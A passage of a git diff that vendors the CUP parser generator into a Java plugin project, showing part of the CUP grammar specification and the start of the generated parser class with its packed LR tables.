rhs accumulation */ + new_rhs(); + :} + COLON_COLON_EQUALS + {: :} + rhs_list + SEMI + | + error + {: lexer.emit_error("Syntax Error"); :} + SEMI + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +rhs_list ::= rhs_list BAR rhs | rhs; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +rhs ::= + prod_part_list PERCENT_PREC term_id:term_name + {: + java_cup.symbol sym = null; + if (lhs_nt != null) + { + /* Find the precedence symbol */ + if (term_name == null) { + System.err.println("No terminal for contextual precedence"); + sym = null; + } else { + sym = ((symbol_part)symbols.get(term_name)).the_symbol(); + } + /* build the production */ + production p; + if ((sym!=null) && (sym instanceof terminal)) { + p = new production(lhs_nt, rhs_parts, rhs_pos, + ((terminal)sym).precedence_num(), + ((terminal)sym).precedence_side()); + ((symbol_part)symbols.get(term_name)).the_symbol().note_use(); + } else { + System.err.println("Invalid terminal " + term_name + + " for contextual precedence assignment"); + p = new production(lhs_nt, rhs_parts, rhs_pos); + } + + /* if we have no start non-terminal declared and this is + the first production, make its lhs nt the start_nt + and build a special start production for it. */ + if (start_nt == null) + { + start_nt = lhs_nt; + + /* build a special start production */ + new_rhs(); + add_rhs_part(add_lab(new symbol_part(start_nt),"start_val")); + add_rhs_part(new symbol_part(terminal.EOF)); + add_rhs_part(new action_part("RESULT = start_val;")); + if ((sym!=null) && (sym instanceof terminal)) { + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, + rhs_pos, ((terminal)sym).precedence_num(), + ((terminal)sym).precedence_side()); + } else { + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, rhs_pos); + } + new_rhs(); + } + } + + /* reset the rhs accumulation in any case */ + new_rhs(); + :} + | + prod_part_list + {: + if (lhs_nt != null) + { + /* build the production */ + production p = new production(lhs_nt, rhs_parts, rhs_pos); + + /* if we have no start non-terminal declared and this is + the first production, make its lhs nt the start_nt + and build a special start production for it. */ + if (start_nt == null) + { + start_nt = lhs_nt; + + /* build a special start production */ + new_rhs(); + add_rhs_part(add_lab(new symbol_part(start_nt),"start_val")); + add_rhs_part(new symbol_part(terminal.EOF)); + add_rhs_part(new action_part("RESULT = start_val;")); + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, rhs_pos); + + new_rhs(); + } + } + + /* reset the rhs accumulation in any case */ + new_rhs(); + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +prod_part_list ::= prod_part_list prod_part | empty; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +prod_part ::= + symbol_id:symid opt_label:labid + {: + /* try to look up the id */ + production_part symb = (production_part)symbols.get(symid); + + /* if that fails, symbol is undeclared */ + if (symb == null) + { + if (lexer.error_count == 0) + lexer.emit_error("java_cup.runtime.Symbol \"" + symid + + "\" has not been declared"); + } + else + { + /* add a labeled production part */ + add_rhs_part(add_lab(symb, labid)); + } + :} + | + CODE_STRING:code_str + {: + /* add a new production part */ + add_rhs_part(new action_part(code_str)); + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +opt_label ::= + COLON label_id:labid + {: RESULT = labid; :} + | + empty + {: RESULT = null; :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +multipart_id ::= + multipart_id DOT robust_id:another_id + {: append_multipart(another_id); :} + | + robust_id:an_id + {: append_multipart(an_id); :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +import_id ::= + multipart_id DOT STAR + {: append_multipart("*"); :} + | + multipart_id + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +type_id ::= multipart_id + | type_id LBRACK RBRACK + {: multipart_name = multipart_name.concat("[]"); :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +new_term_id ::= + ID:term_id + {: + /* see if this terminal has been declared before */ + if (symbols.get(term_id) != null) + { + /* issue a message */ + lexer.emit_error("java_cup.runtime.Symbol \"" + term_id + + "\" has already been declared"); + } + else + { + /* if no type declared, declare one */ + if (multipart_name.equals("")) { + append_multipart("Object"); + } + /* build a production_part and put it in the table */ + symbols.put(term_id, + new symbol_part(new terminal(term_id, multipart_name))); + } + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +new_non_term_id ::= + ID:non_term_id + {: + /* see if this non terminal has been declared before */ + if (symbols.get(non_term_id) != null) + { + /* issue a message */ + lexer.emit_error( "java_cup.runtime.Symbol \"" + non_term_id + + "\" has already been declared"); + } + else + { + if (multipart_name.equals("")) { + append_multipart("Object"); + } + /* build the non terminal object */ + non_terminal this_nt = + new non_terminal(non_term_id, multipart_name); + + /* put it in the non_terms table */ + non_terms.put(non_term_id, this_nt); + + /* build a production_part and put it in the symbols table */ + symbols.put(non_term_id, new symbol_part(this_nt)); + } + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +nt_id ::= + ID:the_id + {: RESULT = the_id; :} + | error + {: + lexer.emit_error("Illegal use of reserved word"); + RESULT="ILLEGAL"; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +symbol_id ::= + ID:the_id + {: RESULT = the_id; :} + | error + {: + lexer.emit_error("Illegal use of reserved word"); + RESULT="ILLEGAL"; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +label_id ::= + robust_id:the_id + {: RESULT = the_id; :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +robust_id ::= /* all ids that aren't reserved words in Java */ + ID:the_id {: RESULT = the_id; :} + /* package is reserved. */ + /* import is reserved. */ + | CODE {: RESULT = "code"; :} + | ACTION {: RESULT = "action"; :} + | PARSER {: RESULT = "parser"; :} + | TERMINAL {: RESULT = "terminal"; :} + | NON {: RESULT = "non"; :} + | NONTERMINAL {: RESULT = "nonterminal"; :} + | INIT {: RESULT = "init"; :} + | SCAN {: RESULT = "scan"; :} + | WITH {: RESULT = "with"; :} + | START {: RESULT = "start"; :} + | PRECEDENCE {: RESULT = "precedence"; :} + | LEFT {: RESULT = "left"; :} + | RIGHT {: RESULT = "right"; :} + | NONASSOC {: RESULT = "nonassoc"; :} + | error + {: + lexer.emit_error("Illegal use of reserved word"); + RESULT="ILLEGAL"; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +non_terminal ::= NON TERMINAL | NONTERMINAL; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +opt_semi ::= /* nothing */ + | SEMI; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +empty ::= /* nothing */; + +/*----------------------------------------------------------------*/ + + + + + + + + + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parser.java b/base_plugins/net.heartsome.xml/src/java_cup/parser.java new file mode 100644 index 0000000..968e999 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parser.java @@ -0,0 +1,1849 @@ + +//---------------------------------------------------- +// The following code was generated by CUP v0.10k +// Sun Jul 25 13:35:26 EDT 1999 +//---------------------------------------------------- + +package java_cup; + +import java_cup.runtime.*; +import java.util.Hashtable; + +/** CUP v0.10k generated parser. + * @version Sun Jul 25 13:35:26 EDT 1999 + */ +public class parser extends java_cup.runtime.lr_parser { + + /** Default constructor. */ + public parser() {super();} + + /** Constructor which sets the default scanner. */ + public parser(java_cup.runtime.Scanner s) {super(s);} + + /** Production table. */ + protected static final short _production_table[][] = + unpackFromStrings(new String[] { + "\000\153\000\002\002\004\000\002\055\002\000\002\003" + + "\012\000\002\003\007\000\002\056\002\000\002\004\006" + + "\000\002\004\003\000\002\005\004\000\002\005\003\000" + + "\002\057\002\000\002\020\006\000\002\010\003\000\002" + + "\010\003\000\002\010\003\000\002\010\003\000\002\007" + + "\002\000\002\007\004\000\002\006\006\000\002\013\006" + + "\000\002\022\006\000\002\023\006\000\002\014\004\000" + + "\002\014\003\000\002\024\005\000\002\024\004\000\002" + + "\024\005\000\002\024\004\000\002\060\002\000\002\024" + + "\006\000\002\061\002\000\002\024\006\000\002\062\002" + + "\000\002\044\005\000\002\063\002\000\002\045\005\000" + + "\002\026\005\000\002\026\003\000\002\027\005\000\002" + + "\027\003\000\002\040\003\000\002\040\003\000\002\043" + + "\004\000\002\043\003\000\002\064\002\000\002\041\007" + + "\000\002\065\002\000\002\041\007\000\002\066\002\000" + + "\002\041\007\000\002\042\005\000\002\042\003\000\002" + + "\052\003\000\002\053\003\000\002\067\002\000\002\015" + + "\007\000\002\015\003\000\002\016\004\000\002\016\003" + + "\000\002\070\002\000\002\071\002\000\002\030\010\000" + + "\002\072\002\000\002\030\005\000\002\035\005\000\002" + + "\035\003\000\002\036\005\000\002\036\003\000\002\031" + + "\004\000\002\031\003\000\002\032\004\000\002\032\003" + + "\000\002\051\004\000\002\051\003\000\002\017\005\000" + + "\002\017\003\000\002\021\005\000\002\021\003\000\002" + + "\025\003\000\002\025\005\000\002\033\003\000\002\034" + + "\003\000\002\046\003\000\002\046\003\000\002\047\003" + + "\000\002\047\003\000\002\050\003\000\002\054\003\000" + + "\002\054\003\000\002\054\003\000\002\054\003\000\002" + + "\054\003\000\002\054\003\000\002\054\003\000\002\054" + + "\003\000\002\054\003\000\002\054\003\000\002\054\003" + + "\000\002\054\003\000\002\054\003\000\002\054\003\000" + + "\002\054\003\000\002\054\003\000\002\012\004\000\002" + + "\012\003\000\002\011\002\000\002\011\003\000\002\037" + + "\002" }); + + /** Access to production table. */ + public short[][] production_table() {return _production_table;} + + /** Parse-action table. */ + protected static final short[][] _action_table = + unpackFromStrings(new String[] { + "\000\247\000\026\003\006\004\000\005\000\007\000\010" + + "\000\011\000\012\000\013\000\014\000\035\000\001\002" + + "\000\004\002\251\001\002\000\024\004\200\005\uff97\007" + + "\uff97\010\uff97\011\uff97\012\uff97\013\uff97\014\uff97\035\uff97" + + "\001\002\000\010\011\007\012\012\035\014\001\002\000" + + "\042\003\163\006\026\007\027\010\040\011\036\012\022" + + "\013\042\014\030\015\017\016\015\026\033\027\023\030" + + "\035\031\041\035\025\036\160\001\002\000\020\003\uffeb" + + "\011\uffeb\012\uffeb\016\uffeb\026\uffeb\035\uffeb\036\uffeb\001" + + "\002\000\020\003\uff97\011\007\012\012\016\uff97\026\065" + + "\035\014\036\uff97\001\002\000\004\011\061\001\002\000" + + "\042\003\034\006\026\007\027\010\040\011\036\012\022" + + "\013\042\014\030\015\017\016\015\026\033\027\023\030" + + "\035\031\041\035\025\036\016\001\002\000\042\003\uff9a" + + "\006\uff9a\007\uff9a\010\uff9a\011\uff9a\012\uff9a\013\uff9a\014" + + "\uff9a\015\uff9a\016\uff9a\026\uff9a\027\uff9a\030\uff9a\031\uff9a" + + "\035\uff9a\036\uff9a\001\002\000\022\003\uffa1\017\uffa1\022" + + "\uffa1\025\uffa1\032\uffa1\033\uffa1\036\uffa1\037\uffa1\001\002" + + "\000\014\017\uffb1\020\uffb1\022\uffab\033\uffab\036\uffab\001" + + "\002\000\022\003\uffa2\017\uffa2\022\uffa2\025\uffa2\032\uffa2" + + "\033\uffa2\036\uffa2\037\uffa2\001\002\000\006\017\uffe0\020" + + "\055\001\002\000\010\022\051\033\uffb4\036\uffb4\001\002" + + "\000\022\003\uffa6\017\uffa6\022\uffa6\025\uffa6\032\uffa6\033" + + "\uffa6\036\uffa6\037\uffa6\001\002\000\022\003\uff9f\017\uff9f" + + "\022\uff9f\025\uff9f\032\uff9f\033\uff9f\036\uff9f\037\uff9f\001" + + "\002\000\006\033\047\036\045\001\002\000\022\003\uffa5" + + "\017\uffa5\022\uffa5\025\uffa5\032\uffa5\033\uffa5\036\uffa5\037" + + "\uffa5\001\002\000\022\003\uffaa\017\uffaa\022\uffaa\025\uffaa" + + "\032\uffaa\033\uffaa\036\uffaa\037\uffaa\001\002\000\022\003" + + "\uffa9\017\uffa9\022\uffa9\025\uffa9\032\uffa9\033\uffa9\036\uffa9" + + "\037\uffa9\001\002\000\022\003\uffa3\017\uffa3\022\uffa3\025" + + "\uffa3\032\uffa3\033\uffa3\036\uffa3\037\uffa3\001\002\000\012" + + "\017\uffb7\022\uffb7\033\uffb7\036\uffb7\001\002\000\020\003" + + "\uffe7\011\uffe7\012\uffe7\016\uffe7\026\uffe7\035\uffe7\036\uffe7" + + "\001\002\000\022\003\uffa0\017\uffa0\022\uffa0\025\uffa0\032" + + "\uffa0\033\uffa0\036\uffa0\037\uffa0\001\002\000\012\017\uffe4" + + "\022\uff9c\033\uff9c\036\uff9c\001\002\000\022\003\uff9e\017" + + "\uff9e\022\uff9e\025\uff9e\032\uff9e\033\uff9e\036\uff9e\037\uff9e" + + "\001\002\000\022\003\uffa7\017\uffa7\022\uffa7\025\uffa7\032" + + "\uffa7\033\uffa7\036\uffa7\037\uffa7\001\002\000\006\017\uffdb" + + "\020\uffdb\001\002\000\022\003\uffa8\017\uffa8\022\uffa8\025" + + "\uffa8\032\uffa8\033\uffa8\036\uffa8\037\uffa8\001\002\000\022" + + "\003\uff9d\017\uff9d\022\uff9d\025\uff9d\032\uff9d\033\uff9d\036" + + "\uff9d\037\uff9d\001\002\000\022\003\uffa4\017\uffa4\022\uffa4" + + "\025\uffa4\032\uffa4\033\uffa4\036\uffa4\037\uffa4\001\002\000" + + "\004\017\044\001\002\000\020\003\uffe3\011\uffe3\012\uffe3" + + "\016\uffe3\026\uffe3\035\uffe3\036\uffe3\001\002\000\006\017" + + "\uffb1\020\uffb1\001\002\000\020\003\uffe8\011\uffe8\012\uffe8" + + "\016\uffe8\026\uffe8\035\uffe8\036\uffe8\001\002\000\004\034" + + "\050\001\002\000\006\033\uffb3\036\uffb3\001\002\000\042" + + "\003\054\006\026\007\027\010\040\011\036\012\022\013" + + "\042\014\030\015\017\016\015\026\033\027\023\030\035" + + "\031\041\035\025\036\053\001\002\000\012\017\uffb8\022" + + "\uffb8\033\uffb8\036\uffb8\001\002\000\022\003\uffab\017\uffab" + + "\022\uffab\025\uffab\032\uffab\033\uffab\036\uffab\037\uffab\001" + + "\002\000\022\003\uff9c\017\uff9c\022\uff9c\025\uff9c\032\uff9c" + + "\033\uff9c\036\uff9c\037\uff9c\001\002\000\004\036\045\001" + + "\002\000\004\017\057\001\002\000\020\003\uffdf\011\uffdf" + + "\012\uffdf\016\uffdf\026\uffdf\035\uffdf\036\uffdf\001\002\000" + + "\006\017\uffdc\020\uffdc\001\002\000\042\003\uff9b\006\uff9b" + + "\007\uff9b\010\uff9b\011\uff9b\012\uff9b\013\uff9b\014\uff9b\015" + + "\uff9b\016\uff9b\026\uff9b\027\uff9b\030\uff9b\031\uff9b\035\uff9b" + + "\036\uff9b\001\002\000\010\003\uff97\016\116\036\uff97\001" + + "\002\000\012\003\uffda\016\uffda\026\065\036\uffda\001\002" + + "\000\010\003\uffd9\016\uffd9\036\uffd9\001\002\000\010\027" + + "\071\030\072\031\070\001\002\000\020\003\uffec\011\uffec" + + "\012\uffec\016\uffec\026\uffec\035\uffec\036\uffec\001\002\000" + + "\012\003\uffd7\016\uffd7\026\uffd7\036\uffd7\001\002\000\006" + + "\003\uffd2\036\uffd2\001\002\000\006\003\uffd6\036\uffd6\001" + + "\002\000\006\003\uffd4\036\uffd4\001\002\000\006\003\077" + + "\036\074\001\002\000\022\003\uffae\017\uffae\020\uffae\023" + + "\uffae\025\uffae\032\uffae\036\uffae\037\uffae\001\002\000\010" + + "\017\uffcd\020\uffcd\025\uffcd\001\002\000\006\017\uffce\020" + + "\uffce\001\002\000\022\003\uffad\017\uffad\020\uffad\023\uffad" + + "\025\uffad\032\uffad\036\uffad\037\uffad\001\002\000\006\017" + + "\102\020\103\001\002\000\006\017\uffcf\020\uffcf\001\002" + + "\000\012\003\uffd3\016\uffd3\026\uffd3\036\uffd3\001\002\000" + + "\006\003\077\036\074\001\002\000\006\017\uffd0\020\uffd0" + + "\001\002\000\006\003\077\036\074\001\002\000\006\017" + + "\107\020\103\001\002\000\012\003\uffd5\016\uffd5\026\uffd5" + + "\036\uffd5\001\002\000\006\003\077\036\074\001\002\000" + + "\006\017\112\020\103\001\002\000\012\003\uffd1\016\uffd1" + + "\026\uffd1\036\uffd1\001\002\000\012\003\uffd8\016\uffd8\026" + + "\uffd8\036\uffd8\001\002\000\006\003\uffca\036\uffca\001\002" + + "\000\006\003\126\036\120\001\002\000\004\015\117\001" + + "\002\000\006\003\122\036\120\001\002\000\006\017\uffb0" + + "\024\uffb0\001\002\000\004\017\uffcc\001\002\000\004\017" + + "\uffaf\001\002\000\004\017\124\001\002\000\006\003\uffcb" + + "\036\uffcb\001\002\000\004\024\uffc7\001\002\000\006\017" + + "\uffc4\024\uffaf\001\002\000\010\002\ufffe\003\126\036\120" + + "\001\002\000\010\002\uffc8\003\uffc8\036\uffc8\001\002\000" + + "\010\002\uffc9\003\uffc9\036\uffc9\001\002\000\004\017\133" + + "\001\002\000\010\002\uffc3\003\uffc3\036\uffc3\001\002\000" + + "\004\024\135\001\002\000\016\003\uffc6\017\uffc6\025\uffc6" + + "\032\uffc6\036\uffc6\037\uffc6\001\002\000\016\003\uff97\017" + + "\uff97\025\uff97\032\uff97\036\uff97\037\uff97\001\002\000\016" + + "\003\uffbd\017\uffbd\025\uffbd\032\uffbd\036\uffbd\037\uffbd\001" + + "\002\000\016\003\077\017\uffbf\025\uffbf\032\147\036\074" + + "\037\146\001\002\000\006\017\uffc1\025\uffc1\001\002\000" + + "\006\017\143\025\144\001\002\000\010\002\uffc5\003\uffc5" + + "\036\uffc5\001\002\000\016\003\uff97\017\uff97\025\uff97\032" + + "\uff97\036\uff97\037\uff97\001\002\000\006\017\uffc2\025\uffc2" + + "\001\002\000\016\003\uffbb\017\uffbb\025\uffbb\032\uffbb\036" + + "\uffbb\037\uffbb\001\002\000\006\003\077\036\074\001\002" + + "\000\020\003\uff97\017\uff97\023\154\025\uff97\032\uff97\036" + + "\uff97\037\uff97\001\002\000\016\003\uffbe\017\uffbe\025\uffbe" + + "\032\uffbe\036\uffbe\037\uffbe\001\002\000\016\003\uffb9\017" + + "\uffb9\025\uffb9\032\uffb9\036\uffb9\037\uffb9\001\002\000\016" + + "\003\uffbc\017\uffbc\025\uffbc\032\uffbc\036\uffbc\037\uffbc\001" + + "\002\000\042\003\054\006\026\007\027\010\040\011\036" + + "\012\022\013\042\014\030\015\017\016\015\026\033\027" + + "\023\030\035\031\041\035\025\036\053\001\002\000\016" + + "\003\uffba\017\uffba\025\uffba\032\uffba\036\uffba\037\uffba\001" + + "\002\000\016\003\uffac\017\uffac\025\uffac\032\uffac\036\uffac" + + "\037\uffac\001\002\000\006\017\uffc0\025\uffc0\001\002\000" + + "\014\017\uffb2\020\uffb2\022\uffab\033\uffab\036\uffab\001\002" + + "\000\006\033\047\036\170\001\002\000\006\017\uffdd\020" + + "\uffdd\001\002\000\012\017\uffe6\022\uff9c\033\uff9c\036\uff9c" + + "\001\002\000\020\003\uffe9\011\uffe9\012\uffe9\016\uffe9\026" + + "\uffe9\035\uffe9\036\uffe9\001\002\000\006\017\uffe2\020\167" + + "\001\002\000\004\017\172\001\002\000\004\036\170\001" + + "\002\000\006\017\uffb2\020\uffb2\001\002\000\006\017\uffde" + + "\020\uffde\001\002\000\020\003\uffe1\011\uffe1\012\uffe1\016" + + "\uffe1\026\uffe1\035\uffe1\036\uffe1\001\002\000\004\017\174" + + "\001\002\000\020\003\uffe5\011\uffe5\012\uffe5\016\uffe5\026" + + "\uffe5\035\uffe5\036\uffe5\001\002\000\020\003\uffea\011\uffea" + + "\012\uffea\016\uffea\026\uffea\035\uffea\036\uffea\001\002\000" + + "\022\005\ufffb\007\ufffb\010\ufffb\011\ufffb\012\ufffb\013\ufffb" + + "\014\ufffb\035\ufffb\001\002\000\022\005\uff97\007\uff97\010" + + "\uff97\011\uff97\012\uff97\013\uff97\014\uff97\035\uff97\001\002" + + "\000\042\003\054\006\026\007\027\010\040\011\036\012" + + "\022\013\042\014\030\015\017\016\015\026\033\027\023" + + "\030\035\031\041\035\025\036\053\001\002\000\006\017" + + "\ufffd\022\051\001\002\000\004\017\203\001\002\000\022" + + "\005\ufffc\007\ufffc\010\ufffc\011\ufffc\012\ufffc\013\ufffc\014" + + "\ufffc\035\ufffc\001\002\000\022\005\210\007\ufff2\010\ufff2" + + "\011\ufff2\012\ufff2\013\ufff2\014\ufff2\035\ufff2\001\002\000" + + "\022\005\ufff9\007\ufff9\010\ufff9\011\ufff9\012\ufff9\013\ufff9" + + "\014\ufff9\035\ufff9\001\002\000\020\007\223\010\224\011" + + "\007\012\012\013\227\014\225\035\014\001\002\000\022" + + "\005\ufffa\007\ufffa\010\ufffa\011\ufffa\012\ufffa\013\ufffa\014" + + "\ufffa\035\ufffa\001\002\000\042\003\054\006\026\007\027" + + "\010\040\011\036\012\022\013\042\014\030\015\017\016" + + "\015\026\033\027\023\030\035\031\041\035\025\036\053" + + "\001\002\000\006\017\uffb5\022\215\001\002\000\004\017" + + "\ufff8\001\002\000\004\017\214\001\002\000\022\005\ufff7" + + "\007\ufff7\010\ufff7\011\ufff7\012\ufff7\013\ufff7\014\ufff7\035" + + "\ufff7\001\002\000\044\003\054\006\026\007\027\010\040" + + "\011\036\012\022\013\042\014\030\015\017\016\015\021" + + "\216\026\033\027\023\030\035\031\041\035\025\036\053" + + "\001\002\000\004\017\uffb6\001\002\000\020\007\ufff3\010" + + "\ufff3\011\ufff3\012\ufff3\013\ufff3\014\ufff3\035\ufff3\001\002" + + "\000\020\007\ufff5\010\ufff5\011\ufff5\012\ufff5\013\ufff5\014" + + "\ufff5\035\ufff5\001\002\000\020\007\ufff1\010\ufff1\011\ufff1" + + "\012\ufff1\013\ufff1\014\ufff1\035\ufff1\001\002\000\020\007" + + "\ufff4\010\ufff4\011\ufff4\012\ufff4\013\ufff4\014\ufff4\035\ufff4" + + "\001\002\000\004\006\246\001\002\000\004\006\243\001" + + "\002\000\004\015\240\001\002\000\020\007\ufff6\010\ufff6" + + "\011\ufff6\012\ufff6\013\ufff6\014\ufff6\035\ufff6\001\002\000" + + "\004\015\234\001\002\000\020\003\uff97\011\007\012\012" + + "\016\uff97\026\065\035\014\036\uff97\001\002\000\010\003" + + "\uff97\016\116\036\uff97\001\002\000\006\003\126\036\120" + + "\001\002\000\010\002\uffff\003\126\036\120\001\002\000" + + "\004\037\235\001\002\000\022\007\uff99\010\uff99\011\uff99" + + "\012\uff99\013\uff99\014\uff99\017\236\035\uff99\001\002\000" + + "\020\007\uff98\010\uff98\011\uff98\012\uff98\013\uff98\014\uff98" + + "\035\uff98\001\002\000\020\007\uffee\010\uffee\011\uffee\012" + + "\uffee\013\uffee\014\uffee\035\uffee\001\002\000\004\037\241" + + "\001\002\000\022\007\uff99\010\uff99\011\uff99\012\uff99\013" + + "\uff99\014\uff99\017\236\035\uff99\001\002\000\020\007\uffed" + + "\010\uffed\011\uffed\012\uffed\013\uffed\014\uffed\035\uffed\001" + + "\002\000\004\037\244\001\002\000\022\007\uff99\010\uff99" + + "\011\uff99\012\uff99\013\uff99\014\uff99\017\236\035\uff99\001" + + "\002\000\020\007\uffef\010\uffef\011\uffef\012\uffef\013\uffef" + + "\014\uffef\035\uffef\001\002\000\004\037\247\001\002\000" + + "\022\007\uff99\010\uff99\011\uff99\012\uff99\013\uff99\014\uff99" + + "\017\236\035\uff99\001\002\000\020\007\ufff0\010\ufff0\011" + + "\ufff0\012\ufff0\013\ufff0\014\ufff0\035\ufff0\001\002\000\004" + + "\002\001\001\002" }); + + /** Access to parse-action table. */ + public short[][] action_table() {return _action_table;} + + /** reduce_goto table. */ + protected static final short[][] _reduce_table = + unpackFromStrings(new String[] { + "\000\247\000\006\003\003\055\004\001\001\000\002\001" + + "\001\000\006\004\176\037\175\001\001\000\010\012\012" + + "\014\010\024\007\001\001\000\016\017\020\025\160\026" + + "\164\033\161\044\163\054\030\001\001\000\002\001\001" + + "\000\016\012\012\024\065\037\063\040\061\041\066\043" + + "\062\001\001\000\002\001\001\000\016\017\020\025\023" + + "\027\017\034\036\045\031\054\030\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\004\063\055\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\010\027\017\034\036\045\045" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\004\061\042\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001\000\004\054\051\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\004" + + "\034\057\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\006\015\114\037\113" + + "\001\001\000\004\041\112\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\004" + + "\066\107\001\001\000\004\064\104\001\001\000\004\065" + + "\072\001\001\000\012\042\077\047\074\052\100\053\075" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\010\047\074\052\103\053\075\001" + + "\001\000\002\001\001\000\012\042\105\047\074\052\100" + + "\053\075\001\001\000\002\001\001\000\002\001\001\000" + + "\012\042\110\047\074\052\100\053\075\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\010\016\126\030\127\046\124\001\001\000\002" + + "\001\001\000\004\046\120\001\001\000\002\001\001\000" + + "\004\067\122\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\004\070\133\001\001\000\004\072" + + "\131\001\001\000\006\030\130\046\124\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\004\071\135\001\001\000\012" + + "\031\137\035\141\036\140\037\136\001\001\000\002\001" + + "\001\000\006\032\150\047\147\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\010\031\137\036" + + "\144\037\136\001\001\000\002\001\001\000\002\001\001" + + "\000\006\047\074\053\156\001\001\000\006\037\151\051" + + "\152\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\006\050\154\054\155\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\010\026\164\033\161\044\174\001\001\000\002\001" + + "\001\000\004\060\172\001\001\000\002\001\001\000\004" + + "\062\165\001\001\000\002\001\001\000\004\033\170\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\006\005\203\037\204\001\001\000\006" + + "\017\200\054\030\001\001\000\004\056\201\001\001\000" + + "\002\001\001\000\002\001\001\000\006\007\205\020\206" + + "\001\001\000\002\001\001\000\022\006\225\010\220\012" + + "\012\013\217\014\227\022\221\023\216\024\007\001\001" + + "\000\002\001\001\000\010\017\210\021\211\054\030\001" + + "\001\000\002\001\001\000\004\057\212\001\001\000\002" + + "\001\001\000\002\001\001\000\004\054\051\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\016\012\012\024\065\037\063\040\230\041\066\043" + + "\062\001\001\000\006\015\231\037\113\001\001\000\010" + + "\016\232\030\127\046\124\001\001\000\006\030\130\046" + + "\124\001\001\000\002\001\001\000\004\011\236\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\004\011\241\001\001\000\002\001\001\000\002\001\001" + + "\000\004\011\244\001\001\000\002\001\001\000\002\001" + + "\001\000\004\011\247\001\001\000\002\001\001\000\002" + + "\001\001" }); + + /** Access to reduce_goto table. */ + public short[][] reduce_table() {return _reduce_table;} + + /** Instance of action encapsulation class. */ + protected CUP$parser$actions action_obj; + + /** Action encapsulation object initializer. */ + protected void init_actions() + { + action_obj = new CUP$parser$actions(this); + } + + /** Invoke a user supplied parse action. */ + public java_cup.runtime.Symbol do_action( + int act_num, + java_cup.runtime.lr_parser parser, + java.util.Stack stack, + int top) + throws java.lang.Exception + { + /* call code in generated class */ + return action_obj.CUP$parser$do_action(act_num, parser, stack, top); + } + + /** Indicates start state. */ + public int start_state() {return 0;} + /** Indicates start production. */ + public int start_production() {return 0;} + + /** EOF Symbol index. */ + public int EOF_sym() {return 0;} + + /** error Symbol index. */ + public int error_sym() {return 1;} + + + /** User initialization code. */ + public void user_init() throws java.lang.Exception + { + lexer.init(); + } + + /** Scan to get the next Symbol. */ + public java_cup.runtime.Symbol scan() + throws java.lang.Exception + { + return lexer.next_token(); + } + + + + /* override error routines */ + + public void report_fatal_error( + String message, + Object info) + { + done_parsing(); + lexer.emit_error(message); + System.err.println("Can't recover from previous error(s), giving up."); + System.exit(1); + } + + public void report_error(String message, Object info) + { + lexer.emit_error(message); + } + +} + +/** Cup generated class to encapsulate user supplied action code.*/ +class CUP$parser$actions { + + + /** helper routine to clone a new production part adding a given label */ + protected production_part add_lab(production_part part, String lab) + throws internal_error + { + /* if there is no label, or this is an action, just return the original */ + if (lab == null || part.is_action()) return part; + + /* otherwise build a new one with the given label attached */ + return new symbol_part(((symbol_part)part).the_symbol(),lab); + } + + /** max size of right hand side we will support */ + protected final int MAX_RHS = 200; + + /** array for accumulating right hand side parts */ + protected production_part[] rhs_parts = new production_part[MAX_RHS]; + + /** where we are currently in building a right hand side */ + protected int rhs_pos = 0; + + /** start a new right 